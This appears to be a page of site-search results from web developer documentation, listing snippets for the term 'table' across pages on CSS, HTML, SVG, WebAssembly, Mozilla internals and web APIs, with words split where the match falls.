... the visibility property is specified as one of the keyword values listed below. values visible the element box is visible. hidden the element box is invisible (not drawn), but still affects layout as normal. descendants of the element will be visible if they have visibility set to visible. the element cannot receive focus (such as when navigating through tab indexes). collapse for <
table> rows, columns, column groups, and row groups, the row(s) or column(s) are hidden and the space they would have occupied is removed (as if display: none were applied to the column/row of the
table). however, the size of other rows and columns is still calculated as though the cells in the collapsed row(s) or column(s) are present. this value allows for the fast removal of a row or column from a t...
... collapsed flex items are hidden, and the space they would have occupied is removed. for xul elements, the computed size of the element is always zero, regardless of other styles that would normally affect the size, although margins still take effect. ...
...And 5 more matches
HTML attribute reference - HTML: Hypertext Markup Language
pes the server accepts, typically a file type. accept-charset <form> list of supported charsets. accesskey global attribute keyboard shortcut to activate or add focus to the element. action <form> the uri of a program that processes the information submitted via the form. align <applet>, <caption>, <col>, <colgroup>, <hr>, <iframe>, <img>, <
table>, <tbody>, <td>, <tfoot> , <th>, <thead>, <tr> specifies the horizontal alignment of the element. allow <iframe> specifies a feature-policy for the iframe. alt <applet>, <area>, <img>, <input> alternative text in case an image can't be displayed. async <script> executes the script asynchronously. autocapitalize global attribute sets w...
...ect>, <textarea> indicates whether controls in this form can by default have their values automatically completed by the browser. autofocus <button>, <input>, <keygen>, <select>, <textarea> the element should be automatically focused after the page loaded. autoplay <audio>, <video> the audio or video should play as soon as possible. background <body>, <
table>, <td>, <th> specifies the url of an image file. note: although browsers and email clients may still support this attribute, it is obsolete. use css background-image instead. bgcolor <body>, <col>, <colgroup>, <marquee>, <
table>, <tbody>, <tfoot>, <td>, <th>, <tr> background color of the element. note: this is a legacy attribute. please use the css backgro...
... note: this is a legacy attribute. please use the css border property instead. buffered <audio>, <video> contains the time range of already buffered media. ...
...And 5 more matches
Strict mode - JavaScript
global variables, instead throw an error in strict mode: 'use strict'; // assuming no global variable mistypedvariable exists mistypevariable = 17; // this line throws a referenceerror due to the // misspelling of variable second, strict mode makes assignments which would otherwise silently fail to throw an exception. ...
... // misspelling of variable second, strict mode makes assignments which would otherwise silently fail to throw an exception. for example, nan is a non-wri
table global variable. in normal code assigning to nan does nothing; the developer receives no failure feedback. in strict mode assigning to nan throws an exception. ...
...al code assigning to nan does nothing; the developer receives no failure feedback. in strict mode assigning to nan throws an exception. ...
...And 5 more matches
Image file type and format guide - Web media technologies
le types there are many image file formats in the world. however, the ones listed below are generally recognized as usable on the web, though bmp is generally not recommended as browser support is potentially constrained; it should usually be avoided for web content. ...
...terchange format image/gif .gif chrome, edge, firefox, internet explorer, opera, safari ico microsoft icon image/x-icon .ico, .cur chrome, edge, firefox, internet explorer, opera, safari jpeg joint photographic expert group image image/jpeg .jpg, .jpeg, .jfif, .pjpeg, .pjp chrome, edge, firefox, internet explorer, opera, safari png por
table network graphics image/png .png chrome, edge, firefox, internet explorer, opera, safari svg scalable vector graphics image/svg+xml .svg chrome, edge, firefox, internet explorer, opera, safari tiff tagged image file format image/tiff .tif, .tiff none built-in; add-ons required webp web picture format image/webp .webp chrome, e...
... the abbreviation for each format links to a longer description of the format, its capabilities, and detailed browser compatibility information; including which versions introduced support and specific special features that may have been introduced later. image file type details the following sections provide a brief overview of each of the image file types supported by web browsers. ...
...And 5 more matches
The "codecs" parameter in common media types - Web media technologies
n; that's because those media types are all based on iso base media file format (iso bmff), so they share the same syntax. av1 the syntax of the codecs parameter for av1 is defined the av1 codec iso media file format binding specification, section 5: codecs parameter string. av01.p.llt.dd[.m[.ccc[.cp[.tc[.mc[.f]]]]]] this codec parameter string's components are described in more detail in the
table below. each component is a fixed number of characters long; if the value is less than that length, it must be padded with leading zeros. av1 codec parameter string components component details p the one-digit profile number: av1 profile numbers profile number description 0 "main" profi...
...ble values (1), or should be constrained to those values considered legal for the specified color configuration (that is, the studio swing representation). the default is 0 (use the studio swing representation). all fields from m (monochrome flag) onward are optional; you may stop including fields at any point (but can't arbitrarily leave out fields). the default values are included in the
table above. some example av1 codec strings: av01.2.15m.10.0.100.09.16.09.0 av1 professional profile, level 5.3, main tier, 10 bits per color component, 4:2:2 chroma subsampling using itu-r bt.2100 color primaries, transfer characteristics, and ycbcr color matrix. the studio swing representation is indicated. av01.0.15m.10 av1 main profile, level 5.3, main tier, 10 bits per color component. the r...
...nge of these values well beyond one decimal digit, so now the third parameter may be either one or two digits. padding values below 10 with a leading 0 is optional. older implementations of mpeg-4 codecs may not support two-digit values, however, so using a single digit when possible will maximize compatibility. the audio object types are defined in iso/iec 14496-3 subpart 1, section 1.5.1. the
table below provides a basic list of the audio object types and in the case of the more common object ypes provides a list of the profiles supporting it, but you should refer to the specification for details if you need to know more about the inner workings of any given mpeg-4 audio type. mpeg-4 audio object types id audio object type profile support 0 null ...
...And 5 more matches
<marker> - SVG: Scalable Vector Graphics
marker-start="url(#arrow)" marker-end="url(#arrow)" /> <!-- data line with polymarkers --> <polyline points="15,80 29,50 43,60 57,30 71,40 85,15" fill="none" stroke="grey" marker-start="url(#dot)" marker-mid="url(#dot)" marker-end="url(#dot)" /> </svg> attributes markerheight this attribute defines the height of the marker viewport. ...
...ot)" marker-end="url(#dot)" /> </svg> attributes markerheight this attribute defines the height of the marker viewport. value type: <length> ; default value: 3; anima
table: yes markerunits this attribute defines the coordinate system for the attributes markerwidth, markerheight and the contents of the <marker>. value type: userspaceonuse|strokewidth ; default value: strokewidth; anima
table: yes markerwidth this attribute defines the width of the marker viewport. ...
... value type: <length> ; default value: 3; anima
table: yes markerunits this attribute defines the coordinate system for the attributes markerwidth, markerheight and the contents of the <marker>. value type: userspaceonuse|strokewidth ; default value: strokewidth; anima
table: yes markerwidth this attribute defines the width of the marker viewport. value type: <length> ; default value: 3; anima
table: yes orient this attribute defines the orientation of the marker relative to the shape it is attached to. value type: auto|auto-start-reverse|<angle> ; default value: 0; anima
table: yes preserveaspectratio this attribute defines how the svg fragment must be deformed if it is embedded in a container with a different aspect ratio. value type: (none| xminymin| xmidymin| xmaxymin| xminymid| xmi...
...And 5 more matches
<radialGradient> - SVG: Scalable Vector Graphics
ent id="mygradient"> <stop offset="10%" stop-color="gold" /> <stop offset="95%" stop-color="red" /> </radialgradient> </defs> <!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient. ...
...<!-- using my linear gradient --> <circle cx="5" cy="5" r="4" fill="url('#mygradient')" /> </svg> attributes cx this attribute defines the x coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; anima
table: yes cy this attribute defines the y coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; anima
table: yes fr this attribute defines the radius of the start circle of the radial gradient. ...
... 50%; anima
table: yes cy this attribute defines the y coordinate of the end circle of the radial gradient. value type: <length> ; default value: 50%; anima
table: yes fr this attribute defines the radius of the start circle of the radial gradient. the gradient will be drawn such that the 0% <stop> is mapped to the perimeter of the start circle. value type: <length> ; default value: 50%; anima
table: yes fx this attribute defines the x coordinate of the start circle of the radial gradient. value type: <length> ; default value: same as cx; anima
table: yes fy this attribute defines the y coordinate of the start circle of the radial gradient. ...
...And 5 more matches
Exported WebAssembly functions - WebAssembly
when you call them, you get some activity in the background to convert the arguments into types that wasm can work with (for example converting javascript numbers to int32), the arguments are passed to the function inside your wasm module, the function is invoked, and the result is converted and passed back to javascript. you can retrieve exported webassembly functions in two ways: by calling
table.prototype.get() on an existing
table. by accessing a function exported from a wasm module instance via instance.exports. either way, you get the same kind of wrapper for the underlying function. from a javascript point of view, it's as if every wasm function is a javascript function too — but they are encapsulated by the exported wasm function object instance and there are only limited ways...
...nstance.exports. either way, you get the same kind of wrapper for the underlying function. from a javascript point of view, it's as if every wasm function is a javascript function too — but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them. ...
...m a javascript point of view, it's as if every wasm function is a javascript function too — but they are encapsulated by the exported wasm function object instance and there are only limited ways to access them. ...
...And 5 more matches
Running Tamarin performance tests - Archive of obsolete content
set the builtinabc environment variable to the path of the builtin.abc. ...
... --ascargs args to pass to asc on rebuild of test files --vmargs args to pass to vm --timeout max time to run all tests --testtimeout max time to let a test run, in sec (default -1 = never timeout) --html also create an html output file --notimecheck do not recompile .abc if timestamp is older than .as --java location of java execu
table (default=java) --javaargs arguments to pass to java --random run tests in random order --seed explicitly specify random seed for --random -s --avm2 second avmplus command to use --avmname nickname for avm to use as column header --avm2name nickname for avm2 to use as column header --detail display results in 'old-style' forma...
...raw test values -i --iterations number of times to repeat test -l --log logs results to a file -k --socketlog logs results to a socket server -r --runtime name of the runtime vm used, including switch info eg. ...
...And 4 more matches
Tamarin build documentation - Archive of obsolete content
marin-central with tamarin-redux to operate in the redux repository. use the following command to create a copy of the tamarin repository: $ hg clone http://hg.mozilla.org/tamarin-central tamarin-central tips for working with mercurial can be found here. building tamarin building tamarin will create all the libraries for the avmplus and garbage collector (mmgc), and create a standalone execu
table (shell) for executing files in the abc file format. running the shell without any arguments will list the available options. note that additional command-line arguments are only available in the debug configuration. the tamarin codebase contains a cross-platform build system for mozilla developers. the cross-platform build system is used for daily automated build testing so it is the most reliab...
...thon 2.5 or later and gnu make 3.81 or later. (gnu make 3.80 does not work. nor does any other brand of make.) with the right prerequisites, use these commands to build tamarin: $ hg clone http://hg.mozilla.org/tamarin-redux/ $ cd tamarin-redux $ mkdir objdir-release $ cd objdir-release $ python ../configure.py $ make ... $ shell/avmshell shell 1.0 build cyclone ... the avmplus execu
table is avmshell. optional flags: --enable-debugger - debugger build --enable-debug - debug build for verbose build of tamarin, you can pass cppflags to make. $ make cppflags=-davmplus_verbose additional instructions for non-android cross-platform tamarin-redux build on osx 10.6 (snow leopard) (to build tamarin-central on mac please see previous cross-platform instructions here: https://de...
... "builtin.h" following the instructions below in the section "compiling and running applications" do the same for shell_toplevel.h, starting in avmplus/shell, using the command "python shell_toplevel.py" open the tamarin project file "platform/win32/avmplus2008.sln". choose your desired configuration and target, and build. note: now that bug 478714 has been fixed, the name of the (shell) execu
table will always be "avm.exe" no matter which build configuration you select. the avm.exe file will be found in a directory reflecting your configuration choice. for example, if you chose the win32 debug_debugger configuration your build will be under \tamarin-redux\platform\win32\obj_9\shell\debug_debugger by default. building the x64 release_debugger configuration will create avm.exe under \tamarin-...
...And 4 more matches
execute - Archive of obsolete content
f install object syntax int execute ( string xpisourcepath [, boolean blocking]); int execute ( string xpisourcepath, string args [, boolean blocking]); parameters the execute method has the following parameters: xpisourcepath the pathname of the file to extract and execute. (note that this path points into the xpi itself.) args a parameter string that is passed to the execu
table. (ignored on mac os). see note below. blocking a boolean value that specifies whether the installation should wait for the execution of the file to finish before it resumes. default is false. see note below. the blocking parameter is not available as part of this method in versions of netscape before 6.1/mozilla 0.9.3. returns an integer error code. for a list of possible values, see retur...
... method in versions of netscape before 6.1/mozilla 0.9.3. returns an integer error code. for a list of possible values, see return codes. description the execute method extracts the named file from the xpi file to a temporary file name. your code must call the performinstall method to actually execute the file. you can use this method to launch an installshield installer or any install execu
table file stored in a xpi file. executing installed files note: if the file you wish to execute is one you are installing (as opposed to an installer execu
table that you plan to delete once it runs), then use the execute method on the file object instead. file.execute() executes an installed file (such as a browser) after it has been installed, and is typically placed at the end of an install script...
...lling (as opposed to an installer execu
table that you plan to delete once it runs), then use the execute method on the file object instead. file.execute() executes an installed file (such as a browser) after it has been installed, and is typically placed at the end of an install script and outside of the main install block. the install object's execute method, on the other hand, deletes the execu
table from its temporary location once it has finished. the optional blocking argument, when set to true, specifies that the installation should wait for this execu
table to finish before processing the next queued install command. if you do not set this flag and launch an execu
table that is not a part of the installation, you will raise an error when you restart the browser. passing arguments to the e...
...And 4 more matches
Writing to Files - Archive of obsolete content
file and stream guide: [ nsiscrip
tableio | accessing files | getting file information | reading from files | writing to files | moving, copying and deleting files | uploading and downloading files | working with directories ] important note: the pages from the file and stream guide use the io object (nsiscrip
tableio), which was not available in any released version of the platform (pending some fixes). there are alternative xpcom apis you can use, your help in updating this pages to use the supported api is very much welcome! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. to write to a file, an output stream is used. an ...
...! other documentation on files and i/o not using the unavailable nsiscrip
tableio apis: code snippets: file i/o, open and save dialogs, reading textual data, writing textual data, list of file-related error codes. to write to a file, an output stream is used. an output stream is an object which can be used to write bytes, strings and other values to a file. to create an output stream, use nsiscrip
tableio.newoutputstream(). this method has a number of options to specify text or binary writing, the character set, and whether to append to an existing file or create a new one. to create an input stream, first get a reference to a nsifile, and then use nsiscrip
tableio.newoutputstream() to open a stream for writing to it. to learn more about file objects, see files and streams. try { var file = io.
...in this example, the operations are enclosed in a try-catch block in order to capture any errors that might occur during the process. ...
...And 4 more matches
Adobe Flash - Archive of obsolete content
can be used to access javascript functions from within the flash animation. the focus of this article is to present tips on scripting flash within gecko™-based web browsers. detecting the right flash plugin (and browser) adobe flash has exposed the scriptability feature in netscape gecko browsers since flash 6r49 and later. versions of flash prior to flash 6r49 (such as flash 5) are not scrip
table in netscape gecko browsers. thus client-side detection for the right version of flash is an important aspect of creating a scripted flash experience. on mac os x, there is an additional caveat: netscape gecko browsers such as camino (formerly chimera), the latest mozilla browsers, and future versions of netscape which are built using the mach-o binary format won't be able to use flash's scriptabi...
...are built using the mach-o binary format won't be able to use flash's scriptability features. until macromedia changes this from within the flash plugin, scriptability can not be used on mac os x browsers based on gecko. the example below shows a detection heuristic in action. example 1: verifying the flash plugin version below, javascript identifies the version of flash, and whether it is scrip
table in netscape gecko: can we have javascript in a wiki page? <script type="text/javascript">identifyflash();</script> typically, javascript code that determines what version of the plugin is installed looks at the mimetypes array that is part of the navigator object. every plugin exposes a description string that typically includes the plugin's name and version number. the flash plugin's descript...
... a description string that typically includes the plugin's name and version number. the flash plugin's description string uses a standard versioning nomenclature that can then be parsed for meaningful information. for example, the current flash plugin version is flash 6 r79. the description string exposes this version. furthermore, it is also necessary weed out versions of flash that are not scrip
table in mach-o browsers on os x. fortunately, mach-o browsers based on netscape gecko expose this information in their user-agent string. an algorithmic approach to detecting flash plugin version might be: var plugin = navigator.mimetypes["application/x-shockwave-flash"].enabledplugin; var description = plugin.description; // 1. tokenize description string to its constituent parts var versionarray =...
...And 4 more matches
TypeScript support in Svelte - Learn web development
run validate && npx tsc --noemit, which tells the typescript compiler to check for errors without generating the .js output files. you could even add a script to your package.json file that runs that command. we'll start with stores.js. rename the file to stores.ts. set the type of our initialtodos array to todotype[]. ...
...d a script to your package.json file that runs that command. we'll start with stores.js. rename the file to stores.ts. set the type of our initialtodos array to todotype[]. this is how the contents will end up: // stores.ts import { wri
table } from 'svelte/store' import { localstore } from './localstore.js' import type { todotype } from './types/todo.type' export const alert = wri
table('welcome to the to-do list app!') const initialtodos: todotype[] = [ { id: 1, name: 'visit mdn web docs', completed: true }, { id: 2, name: 'complete the svelte tutorial', completed: false }, ] export const todos = localstore('mdn-svelte-todo', initialtodos) remember to update the import statements in app.svelte, alert.svelte, and todos.svelte. just remove the .js extension, like this...
...values of two or more types. a jsonvalue could be a string, a number, a boolean, and so on. in this case we are also making use of recursive types, to specify that a jsonvalue can have an array of jsonvalue, and also an object with properties of type jsonvalue. we will import our jsonvalue type and use it accordingly. ...
...And 4 more matches
Strategies for carrying out testing - Learn web development
ry to make sure your site works on the most important target browsers and devices, and then code defensively to give your site the widest support reach it can be expected to have. by coding defensively, we mean trying to build in intelligent fallbacks so that if a feature or style doesn't work in a browser, the site will be able to downgrade to something less exciting that still provides an accep
table user experience — the core information is still accessible, for example, even if it doesn't look quite as nice. the aim is to build up a chart of browsers/devices you can refer to as you test. you can make this as simple or as complex as you like — for example a common approach is to have multiple grades of support level, something like: a grade: common/modern browsers — known to be cap...
...t once, so you will probably have to use virtual machine, or other strategy to do the testing you need. see virtual machines later on. lots of people use ios and android, so you probably also want to test the latest versions of ios safari, the last couple of versions of the old android stock browser, and chrome and firefox for ios and android. you should ideally test these on both a phone and a
tablet, to make sure that responsive designs are working ok. you might also know that a number of people still use ie 9. this is old and less capable, so let's put it in the b grade tier. this gives us the following support chart so far: a grade: chrome and firefox for windows/mac, safari for mac, edge and ie for windows (last two versions of each), ios safari for iphone/ipad, android stock browse...
... designs are working ok. you might also know that a number of people still use ie 9. this is old and less capable, so let's put it in the b grade tier. this gives us the following support chart so far: a grade: chrome and firefox for windows/mac, safari for mac, edge and ie for windows (last two versions of each), ios safari for iphone/ipad, android stock browser (last two versions) on phone/
tablet, chrome and firefox for android (last two versions) on phone
tablet b grade: ie 9 for windows c grade: n/a if you live somewhere else, or are working on a site that will serve somewhere else (e.g. certain countries, or locales), then you will probably have different common browsers to test. note: "the ceo of my company uses a blackberry, so we'd better make sure it looks good on that" can ...
...And 4 more matches
HTTP Cache
ess. when there is no profile the new http cache works, but everything is stored only in memory not obeying any particular limits. it is strongly encoraged to not use the old cache api any more - nsicacheservice et al. it will soon be completely obsoleted and removed (bug 913828). nsicachestorageservice the http cache entry-point. accessible as a service only, fully thread-safe, scrip
table. //github.com/realityripple/uxp/blob/master/netwerk/cache2/nsicachestorageservice.idl "@mozilla.org/netwerk/cache-storage-service;1" provides methods accessing “storage” objects – see nsicachestorage below – giving further access to cache entries – see nsicacheentry more below – per specific url. currently we have 3 types of storages, all the access methods re...
...te with ',' a - when present the scope is belonging to an anonymous load b - when present the scope is in browser element load i - when present must have a decimal integer value that represents an app id the scope belongs to, otherwise there is no app (app id is considered 0) p - when present the scope is of a private browsing load, this never persists cachestorageservice keeps a global hash
table mapped by the scope key. elements in this global hash
table are hash
tables of cache entries. the cache entries are mapped by concantation of enhance id and uri passed to nsicachestorage.asyncopenuri. so that when an entry is beeing looked up, first the global hash
table is searched using the scope key. an entries hash
table is found. then this entries hash
table is searched using <enhance-id:><uri> ...
...the only way to remove cacheentry objects from memory is by exhausting a memory limit for intermediate memory caching, what triggers a background process of purging expired and then least used entries from memory. ...
...And 4 more matches
sample2
er "-----end certificate-----" /* missing publically from nss versions earlier than 3.13 */ #ifndef sec_error_base #define sec_error_base (-0x2000) typedef enum { sec_error_io = sec_error_base + 0, sec_error_token_not_logged_in = (sec_error_base + 155), sec_error_end_of_list } secerrorcodes; #endif /* port_errortostring introduced in nss 3.13. on earlier versions of nss that * don't support error
tables, pr_errortostring will return "unknown code". */ #ifndef port_errortostring #define port_errortostring(err) pr_errortostring((err), pr_language_i_default) #endif /* sample 6 commands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certe...
...the arena is freed */ result = null; goto cleanup; } cert->dercert = *result; cleanup: if (caprivatekey) { seckey_destroyprivatekey(caprivatekey); } return result; } /* * makev1cert */ static certcertificate * makev1cert(certcertdbhandle *handle, certcertificaterequest *req, char * issuernickname, prbool selfsign, unsigned int serialnumber, int warpmonths, int validitymonths) { prexplodedtime prin
tabletime; prtime now; prtime after; certvalidity *validity = null; certcertificate *issuercert = null; certcertificate *cert = null; if ( !selfsign ) { issuercert = cert_findcertbynicknameoremailaddr(handle, issuernickname); if (!issuercert) { pr_fprintf(pr_stderr, "could not find certificate named %s\n", issuernickname); goto cleanup; } } now = pr_now(); pr_explodetime (now, pr_gmtparameters, &printa...
...&req->subject : &issu...
...And 4 more matches
Rhino serialization
a org.mozilla.javascript.tools.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a new instance of rhino and called. ...
...ols.shell.main js> function f() { return 3; } js> serialize(f, "f.ser") js> quit() $ java org.mozilla.javascript.tools.shell.main js> f = deserialize("f.ser") function f() { return 3;} js> f() 3 js> here we see a simple case of a function being serialized to a file and then read into a new instance of rhino and called. ...
...ead into a new instance of rhino and called. rhino serialization apis two new classes, scrip
tableoutputstream and scrip
tableinputstream, were introduced to handle serialization of rhino classes. these classes extend objectoutputstream and objectinputstream respectively. writing an object to a file can be done in a few lines of java code: fileoutputstream fos = new fileoutputstream(filename); scrip
tableoutputstream out = new scrip
tableoutputstream(fos, scope); out.writeobject(obj); out.close(); here filename is the file to write to, obj is the object or function to write, and scope is the top-level scope containing obj. ...
...And 4 more matches
JS::Compile
this article covers features introduced in spidermonkey 17 compile a script for execution. ...
...ed in spidermonkey 17 compile a script for execution. ...
...s &options, js::sourcebufferholder &srcbuf, js::mu
tablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, const char *bytes, size_t length, js::mu
tablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, const char16_t *chars, size_t length, js::mu
tablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, file *file, js::mu
tablehandlescript script); bool js::compile(jscontext *cx, const js::readonlycompileoptions &options, const char *filename, js::mu
tablehandlescript script); // obsolete since jsapi 39 bool js::compile(jscontext *cx, js::handleobject ...
...And 4 more matches
Gecko Roles
ch is a grouping of controls (push buttons or toggle buttons) that provides easy access to frequently used features. role_statusbar represents a status bar, which is an area at the bottom of a window that displays information about the current operation, state of the application, or selected object. the status bar has multiple fields, which display different kinds of information. role_
table represents a
table that contains rows and columns of cells, and optionally, row headers and column headers. role_columnheader represents a column header, providing a visual label for a column in a
table. role_rowheader represents a row header, which provides a visual label for a
table row. role_column represents a column of cells within a
table. role_row repres...
... role_link represents a link to something else. this object might look like text or a graphic, but it acts like a button. ...
... role_link represents a link to something else. this object might look like text or a graphic, but it acts like a button. role_helpballoon displays a help topic in the form of a tooltip or help balloon. ...
...And 4 more matches
The Places database
this document provides a high-level overview of the overall database design of the places system. places is designed to be a complete replacement for the firefox bookmarks and history systems using storage. the places schema looks like so: core url
table moz_places: this is the main
table of uris and is managed by the history service (see also history service design). any time a places component wants to reference a url, whether visited or not, it refers to this
table. each entry has an optional reference to the moz_favicon
table to identify the favicon of the page. no two entries may have the same value in the url column. moz_hosts: one entry in this
table is created each time you visit a new host. it contains the host url, frequency of access, if typed or not, and it's prefix ...
...whether visited or not, it refers to this
table. each entry has an optional reference to the moz_favicon
table to identify the favicon of the page. no two entries may have the same value in the url column. moz_hosts: one entry in this
table is created each time you visit a new host. it contains the host url, frequency of access, if typed or not, and it's prefix (https://, ftp://, etc). history
tables moz_historyvisits: one entry in this
table is created each time you visit a page. it contains the date, referrer, and other information specific to that visit. it contains a reference to the moz_places
table which contains the url and other global statistics. see history service design for more information. ...
...the hierarchy is defined via the parent column, which points to the moz_bookmarks record which is the parent. ...
...And 4 more matches
nsIProcess
xpcom/threads/nsiprocess.idlscrip
table this interface represents an execu
table process. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/process/util;1. ...
...face represents an execu
table process. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/process/util;1. ...
...utes attribute type description exitvalue long the value returned by the process upon exit. this is only valid after the process has exited. read only. isrunning boolean true if the process is running, otherwise false. only accurate if the process was run with blocking disabled. read only. location nsifile the location of the execu
table file on disk. read only. gecko 1.9.1 note this attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. pid unsigned long the process id of the process. this value is only available after the process has started; in addition, some platforms may not offer this value at all. read only. processname string the name...
...And 4 more matches
Standard OS Libraries
unix based operating systems are linux, *bsd, solaris, etc. there is a star/asterik ("*") before "bsd" because this means the bsd family such as freebsd, openbsd (who by the way made ssh), netbsd, etc. gtk+ and qt are graphic frameworks, the graphic stack under unix is xorg (x11/x). gtk+ builds over x11. xorg is being re-written at the moment, it is known as wayland. wayland is not considered s
table, but it's supposed to replace xorg in the long term. gtk+ and qt have begun porting their code to wayland. as wayland is not out yet in the wild this article does not focus on wayland, it will focus on gtk+ and xorg(x11/x). gdk is a stack under gtk+. gtk+ is the toolkit to build apps, gdk is more low-level. to be precise, x is "just" like a display machine. on top of which everybody uses "windo...
...sition function was deprecated, see below for gdk 3.0 example. ...
... gdkwindow.ptr, // window gint.ptr, // x gint.ptr, // y ...
...And 4 more matches
Using the CSS Typed Object Model - Web APIs
e how many default css properties a link had? update the javascript on line 2 to select the <p> rather than the <a>. you'll notice a difference in the margin-top and margin-bottom default computed values. .get() method / custom properties let's update our example to only retrieve a few properties and values. ...
...s returned if the value is a unit type. it is a class that defines numbers with units of measurement like 20px, 40%, 200ms, or 7. it is returned with two properties: a value and a unit. with this type we can access the numeric value — cssunitvalue.value — and its unit — cssunitvalue.unit. ...
... unit — cssunitvalue.unit. let's write a plain paragraph, apply no styles, and inspect a few of its css properties by returning a
table with the unit and value: <p> this is a paragraph with some content. open up this example in codepen or jsfiddle, and change some features. try adding some css, such as a width for this paragraph, or adding a css property to the ofinterst array. </p> <
table id="regurgitation"> <thead> <tr> <th>property</th> <th>value</th> <th>unit</th> </tr> </
table> for each property of interest, we list the name of the property, use .get(propertyname).value to return the value, and, if the object returned by the get() is a cssunitvalue, list the unit type we retrieve with .get(propertyname).unit. // get the element we're inspecting co...
...And 4 more matches
IDBIndex.name - Web APIs
then open a basic cursor on the index using idbindex.opencursor() — this works the same as opening a cursor directly on an idbobjectstore using opencursor() except that the returned records are sorted based on the index, not the primary key. the name of the index is logged to the console: it should be returned as lname. finally, we iterate through each record, inserting the data into an html
table. ...
...tstore using opencursor() except that the returned records are sorted based on the index, not the primary key. the name of the index is logged to the console: it should be returned as lname. finally, we iterate through each record, inserting the data into an html
table. for a complete working example, see our idbindex-example demo repo (view the example live). ...
...he example live). ...
...And 4 more matches
MediaTrackConstraints - Web APIs
nts dictionary is passed into applyconstraints() to allow a script to establish a set of exact (required) values or ranges and/or preferred values or ranges of values for the track, and the most recently-requested set of custom constraints can be retrieved by calling getconstraints(). for each constraint, you can typically specify an exact value you need, an ideal value you want, a range of accep
table values, and/or a value which you'd like to be as close to as possible. the specifics vary somewhat depending on the type of the constrainable property. to learn more about how constraints work, see capabilities, constraints, and settings. properties some combination—but not necessarily all—of the following properties will exist on the object. this may be because a given browser doesn't sup...
...upport the property, or because it doesn't apply. for example, because rtp doesn't provide some of these values during negotiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid. ...
...tiation of a webrtc connection, a track associated with a rtcpeerconnection will not include certain values, such as facingmode or groupid. properties of all media tracks deviceid a constraindomstring object specifying a device id or an array of device ids which are accep
table and/or required. groupid a constraindomstring object specifying a group id or an array of group ids which are accep
table and/or required. properties of audio tracks autogaincontrol a constrainboolean object which specifies whether automatic gain control is preferred and/or required. channelcount a constrainlong specifying the channel count or range of channel counts which are accep
table and/or required. echocancellation a constrainboolean object specifying whether or not echo cancellation is preferred and...
...And 4 more matches
Streams API concepts - Web APIs
am, which can then be read independently by two separate readers. you might do this for example in a serviceworker if you want to fetch a response from the server and stream it to the browser, but also stream it to the serviceworker cache. since a response body cannot be consumed more than once, and a stream can't be read by more than one reader at once, you’d need two copies to do this. wri
table streams a wri
table stream is a destination into which you can write data, represented in javascript by a wri
tablestream object. this serves as an abstraction over the top of an underlying sink — a lower-level i/o sink into which raw data is written. the data is written to the stream via a writer, one chunk at a time. a chunk can take a multitude of forms, just like the chunks in a reader. you...
...n to the stream via a writer, one chunk at a time. a chunk can take a multitude of forms, just like the chunks in a reader. you can use whatever code you like to produce the chunks ready for writing; the writer plus the associated code is called a producer. when a writer is created and starts writing to a stream (an active writer), it is said to be locked to it. only one writer can write to a wri
table stream at one time. if you want another writer to start writing to your stream, you typically need to abort it before you then attach another writer to it. an internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink. there is also a construct you’ll use called a controller — each writer has an associated controller that ...
...ed to abort it before you then attach another writer to it. an internal queue keeps track of the chunks that have been written to the stream but not yet been processed by the underlying sink. there is also a construct you’ll use called a controller — each writer has an associated controller that allows you to control the stream (for example, to abort it if wished). you can make use of wri
table streams using the wri
tablestream() constructor. these currently have very limited availability in browsers. pipe chains the streams api makes it possible to pipe streams into one another (or at least it will do when browsers implement the relevant functionality) using a structure called a pipe chain. there are two methods available in the spec to facilitate this: readablestream.pipethrough()...
...And 4 more matches
Web Video Text Tracks Format (WebVTT) - Web APIs
. there must be one or more spaces between the cue timing and the first setting and between each setting. a setting's name and value are separated by a colon. the settings are case sensitive so use lower case as shown. there are five cue settings: vertical indicates that the text will be displayed vertically rather than horizontally, such as in some asian languages.
table 1 - vertical values vertical:rl writing direction is right to left vertical:lr writing direction is left to right line specifies where text appears vertically. if vertical is set, line specifies where text appears horizontally. value can be a line number. the line height is the height of the first line of the cue as...
...ue can be a line number. the line height is the height of the first line of the cue as it appears on the video. positive numbers indicate top down. negative numbers indicate bottom up. or value can be a percentage. must be an integer (i.e., no decimals) between 0 and 100 inclusive. must be followed by a percent sign (%).
table 2 - line examples vertical omitted vertical:rl vertical:lr line:0 top right left line:-1 bottom left right line:0% top right left line:100% bottom left right position specifies where the text will appear horizontally. i...
... top right left line:100% bottom left right position specifies where the text will appear horizontally. if vertical is set, position specifies where the text will appear vertically. value is a percentage. must be an integer (no decimals) between 0 and 100 inclusive. must be followed by a percent sign (%).
table 3 - position examples vertical omitted vertical:rl vertical:lr position:0% left top top position:100% right bottom bottom size specifies the width of the text area. if vertical is set, size specifies the height of the text area. value is a percentage. must be an integer (i...
...And 4 more matches
WAI-ARIA Roles - Accessibility
roup of elements on a page that provide equivalent functionality to an html form.aria: grid rolethe grid role is for a widget that contains one or more rows of cells. the position of each cell is significant and can be focused using keyboard input.aria: gridcell rolethe gridcell role is used to make a cell in a grid or treegrid. it is intended to mimic the functionality of the html td element for
